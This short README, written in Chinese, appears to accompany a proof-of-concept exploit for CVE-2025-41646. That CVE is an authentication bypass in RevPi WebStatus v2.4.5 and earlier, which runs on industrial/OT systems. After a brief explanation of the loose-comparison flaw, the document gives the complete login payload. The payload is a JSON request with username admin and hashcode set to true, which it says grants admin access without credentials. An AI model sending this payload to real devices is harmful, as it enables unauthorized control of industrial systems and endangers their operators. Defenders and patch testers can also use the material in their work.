CVE-2025-41646---Critical-Authentication-Bypass-

CVE-2025-41646 - 关键认证绕过

🔓 CVE-2025-41646 - RevPi WebStatus 认证绕过 PoC

RevPi WebStatus ≤ v2.4.5 中存在一个关键认证绕过漏洞（CVE-2025-41646），由于类型比较逻辑较弱（== 与 ===），攻击者可以在没有有效凭据的情况下以 admin 身份登录。

📌 受影响

• RevPi WebStatus v2.4.5 及以下版本
• 运行在 Raspbian 和 Apache 上的工业/OT 系统

💥 利用

发送以下登录请求：

{
  "mode": "LOGIN",
  "username": "admin",
  "hashcode": true
}